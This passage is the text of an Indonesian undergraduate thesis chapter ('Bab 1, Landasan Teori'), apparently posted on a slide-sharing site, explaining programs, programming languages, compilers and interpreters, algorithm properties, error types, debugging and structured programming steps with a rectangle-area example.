beluk virus batch juga dapat menangkal virus tersebut.

More Related Content

What's hot

Materi matakuliah bahasa c
Materi matakuliah bahasa cMateri matakuliah bahasa c
Materi matakuliah bahasa cIzhan Nassuha
 
Teknik kompilasi dalam bahasa pemograman c
Teknik kompilasi dalam bahasa pemograman cTeknik kompilasi dalam bahasa pemograman c
Teknik kompilasi dalam bahasa pemograman cadhifatra agussalim
 
Compiler dan Interpreter
Compiler dan InterpreterCompiler dan Interpreter
Compiler dan InterpreterMukti Pasta
 
Modul 2 teknik pemrograman mengenal bahasa c dan compiler
Modul 2 teknik pemrograman mengenal bahasa c dan compilerModul 2 teknik pemrograman mengenal bahasa c dan compiler
Modul 2 teknik pemrograman mengenal bahasa c dan compilerBeny Abd
 
Generasi bhs pemrograman.ppt
Generasi bhs pemrograman.pptGenerasi bhs pemrograman.ppt
Generasi bhs pemrograman.pptgea prima
 
Sejarah dan perkembangan bahasa pemrograman
Sejarah dan perkembangan bahasa pemrogramanSejarah dan perkembangan bahasa pemrograman
Sejarah dan perkembangan bahasa pemrogramanMRRidlo
 
Praktek pemrograman bahasa c
Praktek pemrograman bahasa cPraktek pemrograman bahasa c
Praktek pemrograman bahasa caenalyaqin
 
1 adp dasar-dasar pemrograman
1   adp dasar-dasar pemrograman1   adp dasar-dasar pemrograman
1 adp dasar-dasar pemrogramanMuhammad Salihin
 
Modul praktikum aplikasi c
Modul praktikum aplikasi cModul praktikum aplikasi c
Modul praktikum aplikasi cBebebecaaa
 
Sekilas tentang c
Sekilas tentang cSekilas tentang c
Sekilas tentang cDyes Wirok
 
Module algoritma
Module algoritma Module algoritma
Module algoritma Rony BolaNk
 
Modul Pratikum Algoritma dan Pemrograman dalam Bahasa Visual C++ 2010
Modul Pratikum Algoritma dan Pemrograman dalam Bahasa Visual C++ 2010Modul Pratikum Algoritma dan Pemrograman dalam Bahasa Visual C++ 2010
Modul Pratikum Algoritma dan Pemrograman dalam Bahasa Visual C++ 2010eddie Ismantoe
 
Algoritma dan Pemrograman
Algoritma dan PemrogramanAlgoritma dan Pemrograman
Algoritma dan PemrogramanDiana Anggraini
 
Praktikum Algoritma Pemrograman
Praktikum Algoritma PemrogramanPraktikum Algoritma Pemrograman
Praktikum Algoritma PemrogramanWahyu Widodo
 
1 adp dasar-dasar algoritma
1   adp dasar-dasar algoritma1   adp dasar-dasar algoritma
1 adp dasar-dasar algoritmaChabil_Juniar
 

What's hot (17)

Materi matakuliah bahasa c
Materi matakuliah bahasa cMateri matakuliah bahasa c
Materi matakuliah bahasa c
 
Teknik kompilasi dalam bahasa pemograman c
Teknik kompilasi dalam bahasa pemograman cTeknik kompilasi dalam bahasa pemograman c
Teknik kompilasi dalam bahasa pemograman c
 
Compiler dan Interpreter
Compiler dan InterpreterCompiler dan Interpreter
Compiler dan Interpreter
 
Modul 2 teknik pemrograman mengenal bahasa c dan compiler
Modul 2 teknik pemrograman mengenal bahasa c dan compilerModul 2 teknik pemrograman mengenal bahasa c dan compiler
Modul 2 teknik pemrograman mengenal bahasa c dan compiler
 
Generasi bhs pemrograman.ppt
Generasi bhs pemrograman.pptGenerasi bhs pemrograman.ppt
Generasi bhs pemrograman.ppt
 
Sejarah dan perkembangan bahasa pemrograman
Sejarah dan perkembangan bahasa pemrogramanSejarah dan perkembangan bahasa pemrograman
Sejarah dan perkembangan bahasa pemrograman
 
Praktek pemrograman bahasa c
Praktek pemrograman bahasa cPraktek pemrograman bahasa c
Praktek pemrograman bahasa c
 
1 adp dasar-dasar pemrograman
1   adp dasar-dasar pemrograman1   adp dasar-dasar pemrograman
1 adp dasar-dasar pemrograman
 
Modul praktikum aplikasi c
Modul praktikum aplikasi cModul praktikum aplikasi c
Modul praktikum aplikasi c
 
Sekilas tentang c
Sekilas tentang cSekilas tentang c
Sekilas tentang c
 
Module algoritma
Module algoritma Module algoritma
Module algoritma
 
Modul Pratikum Algoritma dan Pemrograman dalam Bahasa Visual C++ 2010
Modul Pratikum Algoritma dan Pemrograman dalam Bahasa Visual C++ 2010Modul Pratikum Algoritma dan Pemrograman dalam Bahasa Visual C++ 2010
Modul Pratikum Algoritma dan Pemrograman dalam Bahasa Visual C++ 2010
 
Algoritma dan Pemrograman
Algoritma dan PemrogramanAlgoritma dan Pemrograman
Algoritma dan Pemrograman
 
Praktikum Algoritma Pemrograman
Praktikum Algoritma PemrogramanPraktikum Algoritma Pemrograman
Praktikum Algoritma Pemrograman
 
Pertemuan_2
Pertemuan_2Pertemuan_2
Pertemuan_2
 
1 ADP Algoritma
1   ADP Algoritma1   ADP Algoritma
1 ADP Algoritma
 
1 adp dasar-dasar algoritma
1   adp dasar-dasar algoritma1   adp dasar-dasar algoritma
1 adp dasar-dasar algoritma
 

Similar to Bab 1

dasar-dasar pemrograman
dasar-dasar pemrogramandasar-dasar pemrograman
dasar-dasar pemrogramanReza Optoriter
 
1.adp dasar-dasar algoritma
1.adp dasar-dasar algoritma1.adp dasar-dasar algoritma
1.adp dasar-dasar algoritmaHardini_HD
 
1 adp dasar-dasar algoritma
1   adp dasar-dasar algoritma1   adp dasar-dasar algoritma
1 adp dasar-dasar algoritmaAvenzz Venzz
 
1 adp dasar-dasar algoritma
1   adp dasar-dasar algoritma1   adp dasar-dasar algoritma
1 adp dasar-dasar algoritmaFisma Ananda
 
01 komponen dasar komputer (1)
01 komponen dasar komputer (1)01 komponen dasar komputer (1)
01 komponen dasar komputer (1)adi yusuf
 
Kegiatan belajar 1 flowchart
Kegiatan belajar 1 flowchartKegiatan belajar 1 flowchart
Kegiatan belajar 1 flowchartSyaiful Ahdan
 
technik kompilasi
technik kompilasitechnik kompilasi
technik kompilasimastnie
 
Unm tki1-kb3-ppt1-alur logika pemrograman komputer
Unm tki1-kb3-ppt1-alur logika pemrograman komputer Unm tki1-kb3-ppt1-alur logika pemrograman komputer
Unm tki1-kb3-ppt1-alur logika pemrograman komputer Hairil Rahman
 
Algoritma pemrograman terstruktur
Algoritma pemrograman terstrukturAlgoritma pemrograman terstruktur
Algoritma pemrograman terstrukturRaden Maulana
 
Abidzar gifari 1610530218 s1 ti d
Abidzar gifari 1610530218 s1 ti dAbidzar gifari 1610530218 s1 ti d
Abidzar gifari 1610530218 s1 ti dAbidzar_Gifari
 
Bahasa pemrograman
Bahasa pemrogramanBahasa pemrograman
Bahasa pemrogramanery gunawan
 
Algoritma dan pemrograman
Algoritma dan pemrogramanAlgoritma dan pemrograman
Algoritma dan pemrogramanMastur Cell
 

Similar to Bab 1 (20)

Definisi Algoritma
Definisi AlgoritmaDefinisi Algoritma
Definisi Algoritma
 
dasar-dasar pemrograman
dasar-dasar pemrogramandasar-dasar pemrograman
dasar-dasar pemrograman
 
1.adp dasar-dasar algoritma
1.adp dasar-dasar algoritma1.adp dasar-dasar algoritma
1.adp dasar-dasar algoritma
 
1 adp dasar-dasar algoritma
1   adp dasar-dasar algoritma1   adp dasar-dasar algoritma
1 adp dasar-dasar algoritma
 
1 adp dasar-dasar algoritma
1   adp dasar-dasar algoritma1   adp dasar-dasar algoritma
1 adp dasar-dasar algoritma
 
Pertemuan 1
Pertemuan 1Pertemuan 1
Pertemuan 1
 
01 komponen dasar komputer (1)
01 komponen dasar komputer (1)01 komponen dasar komputer (1)
01 komponen dasar komputer (1)
 
Kegiatan belajar 1 flowchart
Kegiatan belajar 1 flowchartKegiatan belajar 1 flowchart
Kegiatan belajar 1 flowchart
 
technik kompilasi
technik kompilasitechnik kompilasi
technik kompilasi
 
Unm tki1-kb3-ppt1-alur logika pemrograman komputer
Unm tki1-kb3-ppt1-alur logika pemrograman komputer Unm tki1-kb3-ppt1-alur logika pemrograman komputer
Unm tki1-kb3-ppt1-alur logika pemrograman komputer
 
Algoritma pemrograman terstruktur
Algoritma pemrograman terstrukturAlgoritma pemrograman terstruktur
Algoritma pemrograman terstruktur
 
Bab i
Bab iBab i
Bab i
 
Bab i
Bab iBab i
Bab i
 
Abidzar gifari 1610530218 s1 ti d
Abidzar gifari 1610530218 s1 ti dAbidzar gifari 1610530218 s1 ti d
Abidzar gifari 1610530218 s1 ti d
 
Bahasa pemrograman
Bahasa pemrogramanBahasa pemrograman
Bahasa pemrograman
 
Tahap pemrograman
Tahap pemrogramanTahap pemrograman
Tahap pemrograman
 
Tahap pemrograman
Tahap pemrogramanTahap pemrograman
Tahap pemrograman
 
Algoritma dan pemrograman
Algoritma dan pemrogramanAlgoritma dan pemrograman
Algoritma dan pemrograman
 
Tahap pemrograman
Tahap pemrogramanTahap pemrograman
Tahap pemrograman
 
Modul Pemrograman Dasar.pdf
Modul Pemrograman Dasar.pdfModul Pemrograman Dasar.pdf
Modul Pemrograman Dasar.pdf
 

Bab 1

  • 1. BAB I LANDASAN TEORI 1.1. Pemrograman1 Yang dimaksud dengan program adalah kumpulan instruksi yang digunakan untuk mengatur komputer agar melakukan suatu tindakan tertentu. Tanpa program, komputer sesungguhnya tidak dapat berbuat apa-apa. Itulah sebabnya sering dikatakan bahwa komputer mencakup tiga aspek penting, berupa perangkat keras (hardware), perangkat lunak (software) yang dalam hal ini berupa program, dan perangkat akal (brainware) atau orang yang berperan dalam operasi komputer maupun pengembangan perangkat lunak. Dengan kata lain, program merupakan salah satu bagian penting pada komputer yang mengatur komputer agar melakukan aksi yang sesuai dengan yang dikehendaki oleh pembuatnya. Orang yang membuat program biasa disebut pemrogram (programmer). Adapun aktivitas yang berhubungan dengan pembuatan program dinamakan pemrograman (programming). Suatu program ditulis dengan mengikuti kaidah bahasa pemrograman tertentu. Bahasa pemrograman dapat dianalogikan dengan bahasa yang digunakan manusia (bahasa manusia). Sebagaimana diketahui, ada bermacam-macam bahasa manusia, seperti bahasa Inggris, bahasa Indonesia ataupun bahasa Batak. Kumpulan instruksi dalam bahasa manusia yang berupa sejumlah kalimat dapat anda analogikan dengan suatu program. Manusia dapat mengerjakan suatu instruksi berdasarkan kalimat-kalimat dan komputer dapat menjalankan suatu instruksi dengan program. Dalam konteks pemrograman, terdapat sejumlah bahasa pemrograman, seperti Pascal, C, C++, dan BASIC. Secara garis besar, bahasa-bahasa pemrograman dapat dikelompokkan menjadi: a. Bahasa beraras-tinggi (high-level language) b. Bahasa beraras-rendah (low-level language) 1 Abdul Kadir dan Heriyanto, Algoritma Pemrograman (Yogyakarta: Andi, 2005), hal. 2-6
  • 2. Bahasa beraras-tinggi adalah bahasa pemrograman yang berorientasi kepada bahasa manusia. Program dibuat dengan menggunakan bahasa pemrograman yang mudah dipahami oleh manusia, biasanya menggunakan kata- kata bahasa Inggris; misalnya IF untuk menyatakan “jika” dan AND untuk menyatakan “dan”. Yang termasuk dalam kelompok bahasa ini adalah bahasa C, C++, Pascal, dan BASIC. Bahasa beraras-rendah adalah bahasa pemrograman yang berorientasi kepada mesin. Bahasa ini menggunakan kode biner (yang hanya mengenal kode 0 dan 1) atau suatu kode sederhana untuk menggantikan kode-kode tertentu dalam menggantikan sistem biner. Yang tergolong dalam kelompok bahasa ini adalah bahasa mesin dan bahasa rakitan. Bahasa-bahasa seperti ini sangat sulit untuk dipahami oleh orang awam dan sangat membosankan bagi pemrogram yang sudah terbiasa dengan bahasa beraras tinggi. Pemrogram harus benar-benar menguasain operasi komputer secara teknis. Pemrogram harus benar-benar menguasai operasi komputer secara teknis. Namun bahasa generasi ini memberikan eksekusi program yang sangat cepat. Selain itu bahasa mesin sangat bergantung pada mesin (machine dependent); Artinya, bahasa mesin antara satu mesin dengan mesin yang lain jauh berbeda. Program yang ditulis dalam bahasa pemrograman seperti C dan C++ sebenarnya tidak dimengerti oleh komputer secara langsung, sebab komputer hanya mengenal bahasa khasnya saja yang dinamakan bahasa mesin, yakni bahasa yang hanya mengenal kode 0 dan 1. Supaya program dapat dijalankan (dieksekusi) oleh komputer, program tersebut harus diterjemahkan terlebih dulu ke dalam bahasa mesin (atau biasa disebut sebagai kode objek). Proses penerjemahnya dilakukan oleh program yang disebut translator (penerjemah). Translator dapat berupa interpreter dan kompiler. Interpreter menerjemahkan instruksi selama program diminta untuk dieksekusi. Jika seseorang bermaksud menjalankan program tersebut (agar dapat dijalankan oleh komputer), mula-mula kode sumber (source code atau program asli yang ditulis oleh pemrogram) diterjemahkan dulu kedalam bentuk kode mesin perbaris instruksi. Setelah satu baris instruksi tersebut dipahami oleh komputer,
  • 3. instruksi tersebut dijalankan. Interpreter kemudian kembali memproses baris instruksi berikutnya. Berbeda dengan interpreter, kompiler menerjemahkan instruksi kedalam kode objek secara keseluruhan (untuk semua instruksi). Setelah semua instruksi diterjemahkan, instruksi yang telah dimengerti oleh komputer dijalankan. Proses penerjemah seperti itu disebut kompilasi. Setelah kompilasi berakhir, kompiler tidak diperlukan lagi, sebab sesudah kompilasi akan terbentuk program yang executable (dapat dijalankan secara langsung tanpa melalui translator). 2 Bahasa pemrograman juga dapat diklasifikasikan menjadi bahasa prosedural dan bahasa deklaratif. Pada bahasa prosedural, pemrogram perlu menuliskan instruksi-instruksi yang rinci agar komputer dapat melaksanakan tugasnya. Pendekatan prosedural terdapat pada bahasa-bahasa pemrograman seperti C, Pascal dan BASIC. Pada bahasa deklaratif (non-prosedural), untuk mendapatkan sesuatu hasil, seorang pemrogram tidak perlu memberitahukan secara detail tentang bagaimana mendapatkannya. Pendekatan deklaratif antara lain diterapkan pada bahasa seperti Prolog (bahasa untuk menangani kecerdasan buatan). Klasifikasi yang lain berupa bahasa yang berorientasi pada objek atau tidak berorientasi pada objek. Bahasa pemrograman yang berorientasi objek adalah bahasa pemrograman yang memungkinkan untuk mengemas suatu prosedur dan data dalam suatu wadah yang disebut kelas. Kelas inilah yang menjadi cetakan bagai objek-objek. Model pemrograman pada seperti ini telah menjadi tren bahasa-bahasa pemrograman baru pada masa kini. Keuntungannya, kode yang telah dibuat dapat dikembangkan dengan mudah. Sifat ini dikenal dengan sebutan reusability. Termasuk dalam bahasa yang berorientasi objek adalah C++. Adapun C adalah contoh bahasa pemrograman yang tidak berorientasi pada objek. Orang membuat program biasanya bertujuan untuk menyelesaikan masalah. Namun sebelum dapat menyelesaikan masalah dengan program, terdapat tiga langkah penting yang perlu dilakukan terlebih dulu. 2 Ibid,. hal. 8-12
  • 4. 1. Menganalisis masalah dan membuat algoritma, Proses pertama, menganalis masalah dan membuat algoritma memang tidak dapat begitu saja diwujudkan. Pengalaman, pengetahuan, kreativitas, imajinasi, dan kelihaian merupakan faktor-faktor yang menentukan sekali keberhasilan langkah ini. Didalam analisis masalah diperlukan tindakan untuk mengidentifikasi informasi yang menjadi keluaran pemecahan masalah dan data-data yang menjadi masukan. Berdasarkan hal itu diperlukan prosedur untuk mengolah masukan tersebut menjadi keluaran yang dikehendaki. Seperti yang telah dijelaskan, komputer tidak akan berarti apa-apa tanpa adanya langkah detail yang menyusun prosedur. Langkah detail yang ditujukan untuk komputer guna menyelesaikan suatu masalah inilah yang disebut algoritma. Namun yang disebut algoritma ini berbeda dengan program, karena algoritma secara teoritis bersifat bebas dari bahasa pemrograman. Algoritma tidak selamanya dinyatakan dalam bahasa manusia. Kadang- kadang dinyatakan dalam bentuk pseudokode (pseudocode), yaitu suatu bentuk algoritma yang menggunakan berbagai notasi yang dimaksudkan untuk menyederhanakan bentuk kalimat manusia. Ada kalanya suatu algoritma disajikan dalam bentuk diagram alir (flowchart). Diagram alir adalah suatu standar untuk menggambarkan urutan langkah dalam suatu proses. Setiap langkah dalam algoritma dinyatakan dengan sebuah simbol dan aliran setiap langkah (dari suatu langkah ke langkah lain) dinyatakan dengan garis yang dilengkapi panah. 3 Dalam praktik sekali pemrogram menyelesaikan persoalan dengan menggabungkan algoritma-algoritma yang pernah dibuat oleh orang lain. Sebagai contoh, didalam mengurutkan sekumpulan data, pemrogram dapat menggunakan algoritma seperti quick sort ataupun insertion sort. Algoritma-algoritma seperti itu banyak diulas dalam buku-buku yang membahas masalah algoritma, struktur data, dan pemrograman. Oleh karena itu, selain harus memiliki kemampuan dasar dalam membuat algoritma, seorang pemrogram juga perlu mengetahui berbagai 3 Ibid,. hal. 14-17
  • 5. algoritma yang pernah dibuat orang supaya penyelesaian masalah dapat dilakukan secara optimal. 2. Menuangkan algoritma kedalam bentuk program, Langkah menuangkan algoritma kedalam programditentukan oleh faktor bahasa pemrograman yang akan digunakan. Dengan kata lain, untuk menuangkan algoritma ke program, pemrogram harus tahu seluk beluk bahasa pemrograman yang digunakan. 3. Mengeksekusi dan menguji program. Setelah program dibuat dan dikompilasi, program perlu dijalankan untuk diuji kebenarannya. Ada beberapa kemungkinan kesalahan yang terjadi sewaktu proses kompilasi hingga pengeksekusian program. a. Kesalahan sintaksis, disebabkan adanya kesalahan dalam menuliskan program yang tidak sesuai dengan kaidah bahasa pemrograman. Contoh, suatu pernyataan C ataupun C++ tidak diakhiri dengan titik-koma, sementara kaidah bahasa C dan C++ mengharuskan setiap pernyataan diakhiri dengan titik-koma. Kesalahan sintaksis terdeteksi sewaktu kompilasi bila digunakan kompiler C atau C++, tetapi dapat jadi terdeteksi pada saat eksekusi pada bahasa pemrograman yang berorientasi pada interpreter (misalnya pada interpreter BASIC). b. Kesalahan logika, kesalahan yang terjadi karena ada logika yang salah. Misalnya, kita menuliskan 31.4 untuk menyatakan phi, padahal yang betul adalah 3.14. Akibatnya, hasil yang didapatkan tidak benar. Kesalahan seperti ini terkadang sulit untuk dideteksi terutama kalau program sangat kompleks. c. Kesalahan runtime atau kesalahan fatal, kesalahan yang terjadi karena suatu operasi dalam program tidak dapat dilakukan oleh komputer. Sebagai contoh, jika terdapat operasi pembagian dengan nol, maka suatu pesan kesalahan akan ditampilkan dan eksekusi program dihentikan. Didalam terminologi program terdapat istilah yang dinamakan bug (kutu) yang menyatakan suatu kesalahan pada program. Pencarian kutu seringkali sulit dilakukan dan memakan waktu. Ibarat mencari jarum dalam tumpukan jerami.
  • 6. Untuk menangani hal seperti itu pemrogram terkadang memanfaatkan peranti yang dinamakan debugger, yaitu perangkat lunak yang ditujukan untuk mempermudah dalam mencari kesalahan (kutu) dalam program. Adapun proses untuk mencari kesalahan dan membetulkannya biasa disebut debugging. 4 Proses semacam algoritma sebenarnya dapat dijumpai dalam kehidupan sehari-hari. Jika kita membaca resep makanan, kita akan melihat prosedur membuat masakan, selain bahan-bahan yang digunakan. Prosedur dalam resep seperti itu sebenarnya menyatakan semacam algoritma. Dengan mengikuti langkah-langkah yang diberikan, kita dapat membuat masakan tersebut. Dalam pengertian sekarang, algoritma mempunyai kesamaan tidak hanya dengan resep (masakan), tetapi juga dengan proses, metode, atau prosedur. Misalnya memperlihatkan suatu prosedur untuk memanaskan makanan kedalam pemasak microwave. 1. Taruhlah makanan dalam wadah yang aman untuk microwave 2. Tutuplah pintu microwave dengan rapat 3. Tancapkan steker ke stop kontak 4. Putarlah knop ke posisi 5 menit 5. Tunggu sampai lampu mati dan ada bunyi „ting‟ 6. Lepaskan steker dari stop kontak 7. Bukalah pintu pemasak microwave dan keluarkan wadah yang berisi makanan tersebut. Prosedur tersebut merupakan suatu urutan yang memandu orang untuk melakukan suatu proses. Namun ada perbedaan antara algoritma dan prosedur. Prosedur biasanya bersifat global dengan mengasumsikan bahwa manusia telah mengetahui rincian langkah-langkah tertentu. Sebagai contoh, perhatikan prosedur berikut: 1. Ambil 5 buah kartu 2. Urutkan kartu tersebut 4 Ibid,. hal. 40-42
  • 7. Pada langkah kedua, manusia dapat mengurutkan kartu tersebut dengan mudah tanpa harus diberi tahu caranya. Namun hal seperti itu tidak dapat diterapkan pada komputer. Jika komputer mengenal lima buah data dan kita mengharapkan komputer untuk mengurutkannya, kita harus memberitahu secara detail bagaimana cara mengurutkannya. Itulah sebabnya didalam ilmu komputer terdapat berbagai algoritma yang ditujukan untuk mengurutkan data, seperti Bubble sort, Insertion sort, dan Quick sort. Algoritma-algoritma ini menjamin bahwa setiap langkah tersebut dapat dikerjakan oleh komputer. Sejauh ini tidak ada standarisasi tentang bagaimana menyusun algoritma. Secara prinsip, kita mempunyai kebebasan untuk menyusun bentuk suatu algoritma. Kita dapat menggunakan kata-kata dalam bahasa manusia, pseudokode, atau bahkan diagram alir untuk mewujudkan suatu algoritma. Kita juga menggunakan cara-cara kita sendiri untuk menuliskan sutu algoritma dengan memegang teguh konsistensi. Walaupun begitu ada beberapa hal yang perlu diperhatikan dalam menyusun suatu algoritma. Menurut Knuth (1973, hal. 4) dan juga Horowitz (1999, hal. 1), ada 5 ciri-ciri penting yang harus dimiliki sebuah algoritma, yaitu berupa finiteness, definiteness, masukan, keluaran, dan efektivitas. 1. Finiteness, menyatakan bahwa suatu algoritma harus berakhir untuk semua kondisi setelah memproses sejumlah langkah. 2. Definiteness, menyatakan bahwa setiap langkah harus dinyatakan dengan jelas (tidak rancu atau mendua arti) 3. Masukan, setiap algoritma mempunyai satu atau beberapa masukan. Masukan merupakan suatu besaran yang diberikan diawal sebelum algoritma diproses. 4. Keluaran, setiap algoritma memiliki keluaran, entah hanya sebuah keluaran atau banyak keluaran. Keluaran merupakan besaran yang mempunyai kaitan atau hubungan dengan masukan. 5. Efektivitas, setiap algoritma diharapkan bersifat efektif, dalam arti semua operasi yang dilaksanakan oleh algoritma harus sederhana dan dapat dikerjakan dalam waktu yang terbatas. Secara prinsip, setiap instruksi dalam
  • 8. algoritma dapat dikerjakan oleh orang dengan hanya menggunakan kertas dan pensil. Menurut Cormen dkk (1994, hal.2), sebuah algoritma dikatakan benar, untuk berbagai ragam masukan, jika algoritma berakhir dengan keluaran yang benar. Pada keadaan seperti ini algoritma menyelesaikan masalah komputasi yang diberikan. Selain ketentuan-ketentuan yang tekah disebutkan, patut pula ditekankan disini untuk selalu menghindari langkah yang merujuk kelangkah lain. 5 Kehadiran komputer memang sangat membantu menyelesaikan segala permasalahan yang manusia miliki. Tetapi untuk berkomunikasi dengan komputer, manusia memerlukan suatu bahasa yang dapat dimengerti oleh komputer sehingga komputer akan memahami sebenarnya apa yang dimaksud. Sarana komunikasi yang menjembatani hubungan antara manusia dengan komputer yang dalam hal ini adalah mesin disebut disebut bahasa komputer. Dengan bahasa ini, komputer akan mampu memahami dan mengerti perintah- perintah yang diberikan. Bahasa komputer ini sering disebut juga sebagai bahasa pemrograman komputer. Adapun maksud dari bahasa pemrograman komputer adalah suatu prosedur atau tata cara penulisan program, yang dalam hal ini adalah kata, ekspresi, pernyataan atau kombinasi semuanya yang disusun dan dirangkai dan berupa urutan langkah-langkah untuk menyelesaikan masalah. Pada bahasa pemrograman komputer terdapat beberapa faktor yang harus diperhatikan yaitu sintaksis, semantik dan kebenaran logika. Sintaksis adalah tata bahasa yang digunakan dalam program. Semantik adalah maksud yang dikandung dalam setiap pernyataan yang ada dalam program. Kebenaran logika berhubungan dengan benar tidaknya urutan pernyataan yang ada dalam program. Dalam menulis program dengan menggunakan suatu bahasa komputer, ada kemungkinan terjadi kesalahan baik itu pada sintaksis, semantik atau kebenaran logika. Kesalahan sintaksis akan langsung kelihatan, karena komputer akan menampilkan pesan kesalahan. Sedangkan untuk kesalahan semantik biasanya terjadi karena kekurang pahaman terhadap setiap pernyataan yang 5 Andri Kristant, Algoritma Pemrograman C++ (Yogyakarta: Graha Ilmu, 2003), hal. 1-16
  • 9. dituliskan pada program, sehingga walaupun program bisa berjalan tetapi tidak seperti yang dikehendaki. Untuk kesalahan logika merupakan kesalahan dalam mengimplementasikan masalah yang dihadapi, sehingga program yang ditulis tidak benar secara logika. Bahasa pemrograman komputer pada intinya dikelompokkan menjadi 2 bagian yaitu bahasa pemrograman tingkat rendah (low level programming language) dan bahasa pemrograman tingkat tinggi (high level pemrogramming language). Bahasa pemrograman tingkat rendah biasanya sulit dipahami karena berhubungan dengan mesin komputer itu sendiri. Salah satu contoh bahasa pemrograman tingkat rendah adalah bahasa assembler. Program yang ditulis dengan bahasa Assembler terdiri dari label; kode mnemonic dan lain sebagainya, pada umumnya dinamakan sebagai program sumber (source code) yang belum bisa diterima oleh prosessor untuk dijalankan sebagai program, tapi harus diterjemahkan dulu menjadi bahasa mesin dalam bentuk kode biner. Kode biner disini dilambangkan dengan angka 0 dan 1. Kita tidak akan membahas bahasa assembler ini. Bahasa pemrograman tingkat tinggi merupakan bahasa pemrograman yang memakai kata-kata dan pernyataan yang mudah dimengerti manusia, meskipun masih jauh berbeda dengan bahasa manusia sesungguhnya. Adapun contoh dari bahasa pemrograman tingkat tinggi adalah pascal dan C. Dalam buku ini akan digunakan bahasa C khususnya C++. Proses menulis program didalam komputer tidak sekedar hanya menulis suatu urutan instruksi untuk dikerjakan oleh komputer melainkan untuk memecahkan suatu permasalahan dengan mencari alternatif solusi yang terbaik untuk dipilih. Ada 4 hal yang harus diperhatikan dalam proses pemecahan masalah sebelum diimplementasikan dalam sebuah program, yaitu: 1. Menganalisa dan memahami suatu permasalahan dan dibuat suatu algoritma, dimana algoritma merupakan pola pikir terstruktur yang berisi tahap-tahap penyelesaian suatu permasalahan.
  • 10. 2. Membuat sutu kode dari algoritma yang telah dibuat kedalam pernyataan- pernyataan yang sesuai dengan bahasa pemrograman yang dipakai. 3. Testing dan Debugging. Testing merupakan proses menjalankan program secara rutin untuk menemukan kesalahan-kesalahan dalam program dan kesalahan yang ditemukan diperbaiki sampai tidak muncul kesalahan lagi. 4. Melakukan dokumentasi terhadap setiap langkah yang dilakukan. Dokumentasi ini sangat penting untuk mengembangkan program selanjutnya. Permasalahan yang dihadapi akan dicari solusi dan diimplementasikan dalam suatu bahasa pemrograman dengan komputer. Kondisi semacam ini dinamakan dengan pemrograman. Lebih khusus lagi dalam mengimplementasikan urutan langkah dalam penyelesaian suatu masalah, kita menggunakan bentuk dan rancang bangun yang mudah dipahami, tidak berbelit-belit, sederhana dan dapat dikembangkan siapa saja. Konsep ini dinamakan pemrograman terstruktur. Adapun ciri-ciri atau karakteristik dari pemrograman terstruktur adalah sebagai berikut; 1. Mempunyai teknik pemecahan permasalahan yang tepat dan benar. 2. Memiliki algoritma pemecahan masalah yang sederhana dan efisien dalam memecahkan masalah. 3. Teknik penulisan program memiliki struktur logika yang benar dan mudah dipahami. 4. Membutuhkan biaya testing yang rendah. 5. Memiliki dokumentasi yang baik. Setelah kita memahami konsep pemrograman terstruktur, tentu akan mudah dalam penyusunan dan pembuatan suatu program. Beberapa langkah yang harus diperhatikan oleh pemrogram sebelum mengimplementasikan suatu permasalahan dalam program adalah; 1. Mendefinisikan masalah Tujuan dari mendefinisikan masalah adalah untuk memahami permasalahan secara mendalam. Langkah ini akan berkaitan dengan apa yang akan diinputkan pada program, perintah-perintah apa yang akan digunakan dan bagaimana bentuk outputnya. Jadi harus dipahami benar-benar permasalahan
  • 11. yang ada. Salah asumsi tentang masalah yang ada, akan berakibat program yang dibuat tidak sesuai yang dikehendaki. 2. Mencari solusi untuk masalah Setelah dipahami permasalahan yang ada baik itu masukan atau input, perintah yang digunakan atau keluaran tau output yang diinginkan baru dicari jawaban atau solusi untuk memecahkan masalah sehingga masalah tersebut dapat terselesaikan dengan baik. Apabila masalah yang dihadapi terlalu besar, kita dapat membagi menjadi beberapa modul yang dapat memudahkan untuk menyelesaikan masalah. Modul tersebut dinamakan fungsi. Misalkan ada suatu permasalahan sebagai berikut: Buatlah program untuk menghitung luas dan keliling persegi panjang. Dalam hal ini, ada beberapa hal yang diketahui yaitu bagian mana saja yang menjadi input, proses yang dilakukan apa saja dan outputnya apa saja. Sesuai permasalahan tersebut dapat ditentukan: a. Untuk mencari luas dan keliling persegi panjang, kita harus memahami bentuk persegi panjang itu sendiri, kemudian dalam persegi panjang ini apa saja yang terkait. Untuk persegi panjang ini, untuk mencari luas dan keliling harus diketahui panjang dan lebar. b. Input yang akan dimasukkan adalah panjang dan lebar. c. Proses atau perintah untuk mencari luas dan keliling persegi panjang Adalah dengan rumus: luas = panjang*lebar dan keliling=2*(panjang + lebar) d. Output yang diharapkan adalah luas dan keliling, dimana perhitungannya sudah ditentukan. 3. Memilih teknik pemecahan masalah dan algoritma Dalam pemecahan masalah memerlukan suatu teknik pemecahan masalah yang tepat. Dalam hal ini nanti akan dituangkan dalam suatu algoritma. Algoritma dibuat dengan tujuan untuk menyelesaikan suatu masalah. Algoritma tidak bisa sekali jadi, tetapi akan dikaji berulang-ulang sampai diperoleh algoritma yang tepat, benar dan relevan. Algoritma harus memiliki kebenaran secara logika, sehingga siap diimplementasikan dalam program.
  • 12. Misalkan dari permasalahan luas dan keliling persegi panjang, dapat dibuat suatu algoritma berikut ini: a. Tentukan variabel dan tipe data yang digunakan. Misalnya untuk panjang, lebar, luas, dan keliling bertipe integer. b. Masukkan input yaitu panjang dan lebar. c. Lakukan proses pencarian luas dan keliling Luas=panjang*lebar Keliling = 2*(panjang + lebar) d. Tampilan luas dan keliling persegi panjang. 4. Menulis program Pada langkah ini akan dituliskan program dalam suatu bahasa pemrograman kedalam komputer untuk memecahkan masalah yang ada. 5. Melakukan testing dan debugging Setelah program selesai ditulis, maka langkah selanjutnya yang harus dilakukan testing dan debugging. Testing merupakan proses menjalankan program secara rutin untuk menemukan kesalahan-kesalahan dalam penulisan suatu pernyataan dalam program. Sedangkan debugging adalah proses menemukan kesalahan-kesalahan dalam program dan kesalahan yang ditemukan diperbaiki sampai tidak muncul kesalahan lagi. Sebab sering terjadi kasus yang berbeda antara satu program dengan program yang lain. Langkah menulis program dan melakukan testing maupun debugging bisa dilakukan berulang-ulang sampai program berjalan sesuai dengan yang diharapkan. 6. Melakukan dokumentasi Secara umum dokumentasi merupakan catatan dari setiap langkah pekerjaan dalam pembuatan program, yang dilakukan dari awal sampai akhir. Dokumentasi ini sangat penting dalam melakukan penelusuran jika terjadi kesalahan dan penting untuk pengembangan program.Selain itu dokumentasi akan memberikan informasi yang cukup memadai sehingga orang lain akan dapat mengerti dan memahami alur logika program yang dibuat. Dokumentasi merupakan hal yang 